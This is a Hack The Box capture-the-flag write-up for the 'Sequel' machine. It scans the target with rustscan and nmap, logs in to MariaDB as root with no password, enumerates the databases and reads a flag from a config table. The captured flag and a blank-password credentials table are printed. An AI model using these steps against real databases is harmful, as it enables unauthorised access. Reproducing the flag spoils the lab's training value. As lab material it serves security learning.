HTB

HTB: Sequel

Machine IP: 10.129.49.116
Difficulty: Very Easy
OS: Linux


Tools Used

  • rustscan - Fast port discovery
  • nmap - Service version detection
  • mysql - MariaDB/MySQL command-line client

Step 1: Reconnaissance - Port Scanning

RustScan Results

rustscan -a 10.129.49.116

Open port discovered:

  • Port 3306 (MySQL/MariaDB)

Nmap Detailed Scan

sudo nmap 10.129.49.116 -sV -sC -p 3306

Step 2: Database Access - No Authentication

Connecting to MySQL

The MariaDB server allows connections without a password:

mysql -h 10.129.49.116 -u root

  • Successful connection!

Step 3: Database Enumeration

List Databases

MariaDB [(none)]> show databases;

Select htb Database

MariaDB [(none)]> use htb;
Database changed

List htb Database

MariaDB [htb]> show tables;

Step 4: Flag Extraction

Query config Table

MariaDB [htb]> select * from config;

  • Flag found in config table: 7b4bec00d1a39e3dd4e021ec3d915da8

Step 5: Machine Owned


Flags

FlagValue
Flag7b4bec00d1a39e3dd4e021ec3d915da8

Credentials Table

UserPasswordAccess Level
root(blank)Full database access